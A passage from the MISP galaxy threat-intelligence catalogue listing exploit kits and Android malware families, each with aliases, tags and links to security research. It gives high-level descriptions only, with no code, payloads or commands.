Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targetting at that times mostly Russia

The tag is: *misp-galaxy:exploit-kit="Bingo"*

Terror EK

Terror EK is built on Hunter, Sundown and RIG EK code

The tag is: *misp-galaxy:exploit-kit="Terror EK"*

Terror EK is also known as:

- Blaze EK
- Neptune EK

Table 893. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit—More-like-Error-Exploit-Kit/

DealersChoice

DealersChoice is a Flash Player Exploit platform triggered by RTF.

DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants — variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.

The tag is: *misp-galaxy:exploit-kit="DealersChoice"*

DealersChoice is also known as:

- Sednit RTF EK

Table 894. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/
http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

DNSChanger

DNSChanger Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: *misp-galaxy:exploit-kit="DNSChanger"*

DNSChanger is also known as:

- RouterEK

Table 895. Table References

Links
http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html

https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices

Novidade

Novidade Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: *misp-galaxy:exploit-kit="Novidade"*

Novidade is also known as:

- DNSGhost

Table 896. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-exploit-kit-novidade-found-targeting-home-and-soho-routers/

Disdain

Disdain EK has been introduced on underground forum on 2017-08-07. The panel is stolen from Sundown, the pattern are Terror alike and the obfuscation reminds Nebula

The tag is: *misp-galaxy:exploit-kit="Disdain"*

Table 897. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-disdain-exploit-kit-detected-wild/

Kaixin

Kaixin is an exploit kit mainly seen behind compromised website in Asia

The tag is: *misp-galaxy:exploit-kit="Kaixin"*

Kaixin is also known as:

- CK vip

Table 898. Table References

Links
http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/
http://www.kahusecurity.com/2012/new-chinese-exploit-pack/

Magnitude

Magnitude EK

The tag is: *misp-galaxy:exploit-kit="Magnitude"*

Magnitude is also known as:

- Popads EK
- TopExp
- Magniber
- Magnitude EK

Table 899. Table References

Links
http://malware.dontneedcoffee.com/2013/10/Magnitude.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/A-Peek-Into-the-Lion-s-Den-%E2%80%93-The-Magnitude—aka-PopAds—Exploit-Kit/
http://malware.dontneedcoffee.com/2014/02/and-real-name-of-magnitude-is.html
https://community.rsa.com/community/products/netwitness/blog/2017/02/09/magnitude-exploit-kit-under-the-hood

MWI

Microsoft Word Intruder is an exploit kit focused on Word and embedded flash exploits. The author wants to avoid their customer to use it in mass spam campaign, so it's most often connected to semi-targeted attacks

The tag is: *misp-galaxy:exploit-kit="MWI"*

Table 900. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-microsoft-word-intruder-revealed.pdf

ThreadKit

ThreadKit is the name given to a widely used Microsoft Office document exploit builder kit that appeared in June 2017

The tag is: *misp-galaxy:exploit-kit="ThreadKit"*

Table 901. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/unraveling-ThreadKit-new-document-exploit-builder-distribute-The-Trick-Formbook-Loki-Bot-malware

VenomKit

VenomKit is the name given to a kit sold since april 2017 as "Word 1day exploit builder" by user badbullzvenom. Author allows only use in targeted campaign. Is used for instance by the "Cobalt Gang"

The tag is: *misp-galaxy:exploit-kit="VenomKit"*

VenomKit is also known as:

- Venom

Table 902. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Taurus Builder

Taurus Builder is a tool used to generate malicious MS Word documents that contain macros. The kit is advertised on forums by the user "badbullzvenom".

The tag is: *misp-galaxy:exploit-kit="Taurus Builder"*

RIG

RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.

The tag is: *misp-galaxy:exploit-kit="RIG"*

RIG is also known as:

- RIG 3
- RIG-v
- RIG 4
- Meadgive

Table 903. Table References

Links
http://www.kahusecurity.com/2014/rig-exploit-pack/
https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Reloaded---Examining-the-Architecture-of-RIG-Exploit-Kit-3-0/
https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Exploit-Kit-%E2%80%93-Diving-Deeper-into-the-Infrastructure/
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

Spelevo

Spelevo is an exploit kit that appeared at the end of February 2019 and could be an evolution of SPL EK

The tag is: *misp-galaxy:exploit-kit="Spelevo"*

Table 904. Table References

Links
https://twitter.com/kafeine/status/1103649040800145409

Sednit EK

Sednit EK is the exploit kit used by APT28

The tag is: *misp-galaxy:exploit-kit="Sednit EK"*

Sednit EK is also known as:

- SedKit

Table 905. Table References

Links
http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/

Sundown-P

Sundown-P/Sundown-Pirate is a rip of Sundown seen used in a private way (One group using it only) - First spotted at the end of June 2017, branded as CaptainBlack in August 2017

The tag is: *misp-galaxy:exploit-kit="Sundown-P"*

Sundown-P is also known as:

- Sundown-Pirate

* CaptainBlack

Table 906. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/promediads-malvertising-sundown-pirate-exploit-kit/

Bizarro Sundown

Bizarro Sundown appears to be a fork of Sundown with added anti-analysis features

The tag is: *misp-galaxy:exploit-kit="Bizarro Sundown"*

Bizarro Sundown is also known as:

* Sundown-b

Table 907. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/
https://blog.malwarebytes.com/cybercrime/exploits/2016/10/yet-another-sundown-ek-variant/

Hunter

Hunter EK is an evolution of 3Ros EK

The tag is: *misp-galaxy:exploit-kit="Hunter"*

Hunter is also known as:

* 3ROS Exploit Kit

View relationships graph

Hunter has relationships with:

* similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"

Table 908. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/Hunter-Exploit-Kit-Targets-Brazilian-Banking-Customers

GreenFlash Sundown

GreenFlash Sundown is a variation of Bizarro Sundown without landing

The tag is: *misp-galaxy:exploit-kit="GreenFlash Sundown"*

GreenFlash Sundown is also known as:

- Sundown-GF

Table 909. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/

Angler

The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical "indexm" variant was used to spread Lurk. A vip version used notably to spread Poweliks, the "standard" commercial version, and a declinaison tied to load selling (mostly bankers) that can be associated to EmpirePPC

The tag is: *misp-galaxy:exploit-kit="Angler"*

Angler is also known as:

- XXX
- AEK
- Axpergle

Table 910. Table References

Links
https://blogs.sophos.com/2015/07/21/a-closer-look-at-the-angler-exploit-kit/
http://malware.dontneedcoffee.com/2015/12/xxx-is-angler-ek.html
http://malware.dontneedcoffee.com/2016/06/is-it-end-of-angler.html

Archie

Archie EK

The tag is: *misp-galaxy:exploit-kit="Archie"*

Table 911. Table References

Links
https://www.alienvault.com/blogs/labs-research/archie-just-another-exploit-kit

BlackHole

The BlackHole Exploit Kit has been the most popular exploit kit from 2011 to 2013. Its activity stopped with Paunch's arrest (all activity since then is anecdotal and based on an old leak)

The tag is: *misp-galaxy:exploit-kit="BlackHole"*

BlackHole is also known as:

- BHEK

View relationships graph

BlackHole has relationships with:

- similar: misp-galaxy:rat="BlackHole" with estimative-language:likelihood-probability="likely"

Table 912. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Blackhole-Exploit-Kit-v2/
https://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit/

Bleeding Life

Bleeding Life is an exploit kit that became open source with its version 2

The tag is: *misp-galaxy:exploit-kit="Bleeding Life"*

Bleeding Life is also known as:

- BL
- BL2

Table 913. Table References

Links
http://www.kahusecurity.com/2011/flash-used-in-idol-malvertisement/
http://thehackernews.com/2011/10/bleeding-life-2-exploit-pack-released.html

Cool

The Cool Exploit Kit was a kind of BlackHole VIP in 2012/2013

The tag is: *misp-galaxy:exploit-kit="Cool"*

Cool is also known as:

- CEK

- Styxy Cool

Table 914. Table References

Links
http://malware.dontneedcoffee.com/2012/10/newcoolek.html
http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html
http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/

Fiesta

Fiesta Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Fiesta"*

Fiesta is also known as:

- NeoSploit
- Fiexp

Table 915. Table References

Links
http://blog.0x3a.com/post/110052845124/an-in-depth-analysis-of-the-fiesta-exploit-kit-an
http://www.kahusecurity.com/2011/neosploit-is-back/

Empire

The Empire Pack is a variation of RIG operated by a load seller. It’s being fed by many traffic actors

The tag is: *misp-galaxy:exploit-kit="Empire"*

Empire is also known as:

- RIG-E

View relationships graph

Empire has relationships with:

- similar: misp-galaxy:tool="Empire" with estimative-language:likelihood-probability="likely"

Table 916. Table References

Links
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

FlashPack

FlashPack EK got multiple fork. The most common variant seen was the standalone Flash version

The tag is: *misp-galaxy:exploit-kit="FlashPack"*

FlashPack is also known as:

- FlashEK
- SafePack
- CritXPack
- Vintage Pack

Table 917. Table References

Links
http://malware.dontneedcoffee.com/2012/11/meet-critxpack-previously-vintage-pack.html
http://malware.dontneedcoffee.com/2013/04/meet-safe-pack-v20-again.html

Glazunov

Glazunov is an exploit kit mainly seen behind compromised website in 2012 and 2013. Glazunov compromission is likely the ancestor activity of what became EITest in July 2014. Sibhost and Flimkit later shown similarities with this Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Glazunov"*

Table 918. Table References

Links
https://nakedsecurity.sophos.com/2013/06/24/taking-a-closer-look-at-the-glazunov-exploit-kit/

GrandSoft

GrandSoft Exploit Kit was a quite common exploit kit used in 2012/2013. Disappeared between march 2014 and September 2017

The tag is: *misp-galaxy:exploit-kit="GrandSoft"*

GrandSoft is also known as:

- StampEK
- SofosFO

Table 919. Table References

Links

http://malware.dontneedcoffee.com/2013/09/FinallyGrandSoft.html
http://malware.dontneedcoffee.com/2012/10/neosploit-now-showing-bh-ek-20-like.html
https://nakedsecurity.sophos.com/2012/08/24/sophos-sucks-malware/

HanJuan

Hanjuan EK was a one actor fed variation of Angler EK used in evolved malvertising chain targeting USA. It has been using a 0day (CVE-2015-0313) from beginning of December 2014 till beginning of February 2015

The tag is: *misp-galaxy:exploit-kit="HanJuan"*

Table 920. Table References

Links
http://www.malwaresigs.com/2013/10/14/unknown-ek/
https://blog.malwarebytes.com/threat-analysis/2014/08/shining-some-light-on-the-unknown-exploit-kit/
http://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-exploit-kit-in-cve-2015-0313-attack
https://twitter.com/kafeine/status/562575744501428226

Himan

Himan Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Himan"*

Himan is also known as:

- High Load

Table 921. Table References

Links
http://malware.dontneedcoffee.com/2013/10/HiMan.html

Impact

Impact EK

The tag is: *misp-galaxy:exploit-kit="Impact"*

Table 922. Table References

Links

http://malware.dontneedcoffee.com/2012/12/inside-impact-exploit-kit-back-on-track.html

Infinity

Infinity is an evolution of Redkit

The tag is: *misp-galaxy:exploit-kit="Infinity"*

Infinity is also known as:

- Redkit v2.0
- Goon

Table 923. Table References

Links
http://blog.talosintel.com/2013/11/im-calling-this-goon-exploit-kit-for-now.html
http://www.kahusecurity.com/2014/the-resurrection-of-redkit/

Lightsout

Lightsout Exploit Kit has been used in Watering Hole attack performed by the APT Group havex

The tag is: *misp-galaxy:exploit-kit="Lightsout"*

Table 924. Table References

Links
http://blog.talosintel.com/2014/03/hello-new-exploit-kit.html
http://blog.talosintel.com/2014/05/continued-analysis-of-lightsout-exploit.html
http://malwageddon.blogspot.fr/2013/09/unknown-ek-by-way-how-much-is-fish.html

Nebula

Nebula Exploit Kit has been built on Sundown source and features an internal TDS

The tag is: *misp-galaxy:exploit-kit="Nebula"*

Table 925. Table References

Links
http://malware.dontneedcoffee.com/2017/03/nebula-exploit-kit.html

Neutrino

Neutrino Exploit Kit has been one of the major exploit kit from its launch in 2013 till september

2016 when it become private (defense name for this variation is Neutrino-v). This EK vanished from march 2014 till november 2014.

The tag is: *misp-galaxy:exploit-kit="Neutrino"*

Neutrino is also known as:

- Job314
- Neutrino Rebooted
- Neutrino-v

View relationships graph

Neutrino has relationships with:

- similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"

Table 926. Table References

Links
http://malware.dontneedcoffee.com/2013/03/hello-neutrino-just-one-more-exploit-kit.html
http://malware.dontneedcoffee.com/2014/11/neutrino-come-back.html

Niteris

Niteris was used mainly to target Russian.

The tag is: *misp-galaxy:exploit-kit="Niteris"*

Niteris is also known as:

- CottonCastle

Table 927. Table References

Links
http://malware.dontneedcoffee.com/2014/06/cottoncastle.html
http://malware.dontneedcoffee.com/2015/05/another-look-at-niteris-post.html

Nuclear

The Nuclear Pack appeared in 2009 and has been one of the longer living one. Spartan EK was a landing less variation of Nuclear Pack

The tag is: *misp-galaxy:exploit-kit="Nuclear"*

Nuclear is also known as:

- NEK
- Nuclear Pack
- Spartan
- Neclu

Table 928. Table References

Links
http://blog.checkpoint.com/2016/05/17/inside-nuclears-core-unraveling-a-ransomware-as-a-service-infrastructure/

Phoenix

Phoenix Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Phoenix"*

Phoenix is also known as:

- PEK

Table 929. Table References

Links
http://malwareint.blogspot.fr/2010/09/phoenix-exploits-kit-v21-inside.html
http://blog.trendmicro.com/trendlabs-security-intelligence/now-exploiting-phoenix-exploit-kit-version-2-5/

Private Exploit Pack

Private Exploit Pack

The tag is: *misp-galaxy:exploit-kit="Private Exploit Pack"*

Private Exploit Pack is also known as:

- PEP

Table 930. Table References

Links
http://malware.dontneedcoffee.com/2013/07/pep-new-bep.html
http://malwageddon.blogspot.fr/2013/07/unknown-ek-well-hey-hey-i-wanna-be.html

Redkit

Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer’s traffic

The tag is: *misp-galaxy:exploit-kit="Redkit"*

Table 931. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/A-Wild-Exploit-Kit-Appears----Meet-RedKit/
http://malware.dontneedcoffee.com/2012/05/inside-redkit.html
https://nakedsecurity.sophos.com/2013/05/09/redkit-exploit-kit-part-2/

Sakura

Sakura Exploit Kit appeared in 2012 and was adopted by several big actor

The tag is: *misp-galaxy:exploit-kit="Sakura"*

Table 932. Table References

Links
http://www.xylibox.com/2012/01/sakura-exploit-pack-10.html

SPL

SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV

The tag is: *misp-galaxy:exploit-kit="SPL"*

SPL is also known as:

- SPL_Data
- SPLNet
- SPL2

Table 933. Table References

Links
http://www.malwaresigs.com/2012/12/05/spl-exploit-kit/

Sundown

Sundown Exploit Kit is mainly built out of stolen code from other exploit kits

The tag is: *misp-galaxy:exploit-kit="Sundown"*

Sundown is also known as:

- Beps
- Xer
- Beta

Table 934. Table References

Links
http://malware.dontneedcoffee.com/2015/06/fast-look-at-sundown-ek.html
https://www.virusbulletin.com/virusbulletin/2015/06/beta-exploit-pack-one-more-piece-crimeware-infection-road

Sweet-Orange

Sweet Orange

The tag is: *misp-galaxy:exploit-kit="Sweet-Orange"*

Sweet-Orange is also known as:

- SWO
- Anogre

Table 935. Table References

Links
http://malware.dontneedcoffee.com/2012/12/juice-sweet-orange-2012-12.html

Styx

Styx Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Styx"*

Table 936. Table References

Links
http://malware.dontneedcoffee.com/2012/12/crossing-styx-styx-sploit-pack-20-cve.html
https://krebsonsecurity.com/2013/07/styx-exploit-pack-domo-arigato-pc-roboto/
http://malware.dontneedcoffee.com/2013/05/inside-styx-2013-05.html

WhiteHole

WhiteHole Exploit Kit appeared in January 2013 in the tail of the CVE-2013-0422

The tag is: *misp-galaxy:exploit-kit="WhiteHole"*

Table 937. Table References

Links
http://malware.dontneedcoffee.com/2013/02/briefly-wave-whitehole-exploit-kit-hello.html

Unknown

Unknown Exploit Kit. This is a place holder for any undocumented Exploit Kit. If you use this tag, we will be more than happy to give the associated EK a deep look.

The tag is: *misp-galaxy:exploit-kit="Unknown"*

Table 938. Table References

Links
https://twitter.com/kafeine
https://twitter.com/node5
https://twitter.com/kahusecurity

SpelevoEK

The Spelevo exploit kit seems to have similarities to SPL EK, which is a different exploit kit.

The tag is: *misp-galaxy:exploit-kit="SpelevoEK"*

Table 939. Table References

Links
https://cyberwarzone.com/what-is-the-spelevo-exploit-kit/

Malpedia

Malware galaxy cluster based on Malpedia..

Malpedia is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Davide Arcuri - Alexandre Dulaunoy - Steffen Enders - Andrea Garavaglia - Andras Iklody - Daniel Plohmann - Christophe Vandeplas

FastCash

The tag is: *misp-galaxy:malpedia="FastCash"*

FastCash is also known as:

Table 940. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://github.com/fboldewin/FastCashMalwareDissected/
https://www.cisa.gov/uscert/ncas/alerts/TA18-275A
https://www.cisa.gov/uscert/ncas/alerts/aa20-239a
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://www.youtube.com/watch?v=zGvQPtejX9w
https://www.us-cert.gov/ncas/alerts/TA18-275A
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/
https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf
https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware
https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware

888 RAT

The tag is: *misp-galaxy:malpedia="888 RAT"*

888 RAT is also known as:

Table 941. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.888_rat
https://www.welivesecurity.com/2021/09/07/bladehawk-android-espionage-kurdish/

Aberebot

The tag is: *misp-galaxy:malpedia="Aberebot"*

Aberebot is also known as:

* Escobar

Table 942. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot
https://twitter.com/*icebre4ker*/status/1460527428544176128[https://twitter.com/*icebre4ker*/status/1460527428544176128]
https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/
https://hothardware.com/news/escobar-banking-trojan-targets-mfa-codes
https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/
https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

AbstractEmu

The tag is: *misp-galaxy:malpedia="AbstractEmu"*

AbstractEmu is also known as:

Table 943. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.abstract_emu
https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign

ActionSpy

The tag is: *misp-galaxy:malpedia="ActionSpy"*

ActionSpy is also known as:

* AxeSpy

Table 944. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.actionspy
https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/

https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/
https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html

AdoBot

The tag is: *misp-galaxy:malpedia="AdoBot"*

AdoBot is also known as:

Table 945. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.adobot
https://twitter.com/LukasStefanko/status/1243198756981559296
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

AdultSwine

The tag is: *misp-galaxy:malpedia="AdultSwine"*

AdultSwine is also known as:

Table 946. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine
https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/

AhMyth

The tag is: *misp-galaxy:malpedia="AhMyth"*

AhMyth is also known as:

Table 947. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ahmyth
https://securelist.com/transparent-tribe-part-2/98233/
https://www.secrss.com/articles/24995
https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/
https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset

Alien

According to ThreatFabric, this is a fork of Cerberus v1 (active January 2020+). Alien is a rented banking trojan that can remotely control a phone and achieves RAT functionality by abusing TeamViewer.

The tag is: *misp-galaxy:malpedia="Alien"*

Alien is also known as:

- AlienBot

Table 948. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.alien
https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html
https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html
https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets
https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/
https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/
https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/
https://drive.google.com/file/d/1qd7Nqjhe2vyGZ5bGm6gVw0mM1D6YDolu/view?usp=sharing
https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/
https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf

AmpleBot

This malware was initially named BlackRock and later renamed to AmpleBot.

The tag is: *misp-galaxy:malpedia="AmpleBot"*

AmpleBot is also known as:

- BlackRock

Table 949. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.amplebot
https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html

https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html
https://www.threatfabric.com/blogs/blackrock_the_trojan_that_wanted_to_get_them_all.html

Anatsa

The tag is: *misp-galaxy:malpedia="Anatsa"*

Anatsa is also known as:

- ReBot
- TeaBot
- Toddler

Table 950. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anatsa
https://twitter.com/*icebre4ker*/status/1416409813467156482[https://twitter.com/*icebre4ker*/status/1416409813467156482]
https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html
https://gbhackers.com/teabot-banking-trojan/
https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/
https://twitter.com/ThreatFabric/status/1394958795508523008
https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered
https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe
https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html
https://www.prodaft.com/m/reports/Toddler_*TLPWHITE_V2.pdf[https://www.prodaft.com/m/reports/Toddler*_TLPWHITE_V2.pdf]
https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368
https://labs.k7computing.com/?p=22407
https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/
https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html
https://www.cleafy.com/documents/teabot
https://www.buguroo.com/hubfs/website/pdf/reports/buguroo-malware-report-Toddler_EN.pdf
https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/

AndroRAT

Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.

The tag is: *misp-galaxy:malpedia="AndroRAT"*

AndroRAT is also known as:

Table 951. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat
https://www.stratosphereips.org/blog/2021/3/29/dissecting-a-rat-analysis-of-the-androrat
https://github.com/DesignativeDave/androrat
https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset
https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf
https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html
https://www.kaspersky.com/blog/mobile-malware-part-4/24290/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/
https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-command-line-androrat
https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg

Anubis (Android)

BleepingComputer found that Anubis will display fake phishing login forms when users open up apps for targeted platforms to steal credentials. This overlay screen will be shown over the real app’s login screen to make victims think it’s a legitimate login form when in reality, inputted credentials are sent to the attackers.

In the new version spotted by Lookout, Anubis now targets 394 apps and has the following capabilities:

Recording screen activity and sound from the microphone Implementing a SOCKS5 proxy for covert communication and package delivery Capturing screenshots Sending mass SMS messages from the device to specified recipients Retrieving contacts stored on the device Sending, reading, deleting, and blocking notifications for SMS messages received by the device Scanning the device for files of interest to exfiltrate Locking the device screen and displaying a persistent ransom note Submitting USSD code requests to query bank balances Capturing GPS data and pedometer statistics Implementing a keylogger to steal credentials Monitoring active apps to mimic and perform overlay attacks Stopping malicious functionality and removing the malware from the device

The tag is: *misp-galaxy:malpedia="Anubis (Android)"*

Anubis (Android) is also known as:

- BankBot
- android.bankbot
- android.bankspy

Table 952. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubis
http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html
https://www.youtube.com/watch?v=U0UsfO-0uJM
https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html
https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/
https://muha2xmad.github.io/malware-analysis/anubis/
https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/
http://blog.koodous.com/2017/05/bankbot-on-google-play.html
https://securelist.com/mobile-malware-evolution-2019/96280/
https://pentest.blog/n-ways-to-unpack-mobile-malware/
https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html
https://assets.virustotal.com/reports/2021trends.pdf
https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html
https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html
https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/
https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html
https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/
http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html
https://0x1c3n.tech/anubis-android-malware-analysis

https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/
https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/
https://community.riskiq.com/article/85b3db8c
https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html
